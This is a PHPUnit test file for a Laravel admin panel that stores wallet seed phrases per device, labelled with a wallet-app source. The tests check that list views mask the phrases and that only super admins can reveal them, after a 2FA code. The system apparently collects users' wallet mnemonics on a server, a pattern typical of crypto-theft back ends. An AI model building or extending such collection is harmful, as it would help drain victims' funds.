Files
coruna-lab/tests/Feature/MnemonicRevealTest.php
T
2026-08-29 23:16:57 +08:00

186 lines
5.4 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\WalletMnemonic;
use App\Services\AdminGoogle2fa;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use PragmaRX\Google2FA\Google2FA;
use Tests\TestCase;
class MnemonicRevealTest extends TestCase
{
use RefreshDatabase;
private const PHRASE = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private function storeMnemonic(): WalletMnemonic
{
$device = Device::query()->create(['device_id' => 'dev-reveal-1']);
$row = new WalletMnemonic([
'device_id' => $device->id,
'source' => 'imToken',
]);
$row->mnemonic = self::PHRASE;
$row->save();
return $row;
}
private function bindSecret(Admin $admin): string
{
$secret = app(AdminGoogle2fa::class)->generateSecret();
$admin->forceFill([
'google_secret' => $secret,
'google_auth_open' => 0,
])->save();
return $secret;
}
private function otp(string $secret): string
{
return (new Google2FA)->getCurrentOtp($secret);
}
#[Test]
public function list_stays_masked_and_super_sees_reveal_url(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.data'))
->assertOk()
->assertJsonPath('data.0.id', $mnemonic->id)
->assertJsonPath('data.0.mnemonic', 'abandon *** about')
->assertJsonPath('data.0.can_reveal', true)
->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic));
}
#[Test]
public function normal_admin_list_has_no_reveal(): void
{
$admin = Admin::query()->create([
'username' => 'staff',
'password' => 'secret12',
'is_super' => 0,
]);
$this->storeMnemonic();
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.data'))
->assertOk()
->assertJsonPath('data.0.can_reveal', false)
->assertJsonPath('data.0.reveal_url', '');
}
#[Test]
public function super_reveals_after_google_code(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$secret = $this->bindSecret($admin);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
'GACode' => $this->otp($secret),
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.mnemonic', self::PHRASE);
}
#[Test]
public function reveal_rejects_wrong_code(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$this->bindSecret($admin);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
'GACode' => '000000',
])
->assertOk()
->assertJson(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
#[Test]
public function reveal_requires_bound_google(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
'GACode' => '123456',
])
->assertOk()
->assertJsonPath('code', 1);
}
#[Test]
public function normal_admin_cannot_reveal(): void
{
$admin = Admin::query()->create([
'username' => 'staff',
'password' => 'secret12',
'is_super' => 0,
]);
$this->bindSecret($admin);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
'GACode' => '123456',
])
->assertForbidden();
}
#[Test]
public function bind_can_skip_login_verify(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$google2fa = app(AdminGoogle2fa::class);
$secret = $google2fa->generateSecret();
$this->actingAs($admin, 'admin')
->withSession(['admin_google2fa_pending_secret' => $secret])
->postJson(route('admin.security.google2fa.bind'), [
'GASecret' => $secret,
'GAKey' => $this->otp($secret),
'login_verify' => 0,
])
->assertOk()
->assertJsonPath('code', 0);
$admin->refresh();
$this->assertTrue($admin->hasGoogleBound());
$this->assertFalse($admin->requiresLoginGoogle());
}
}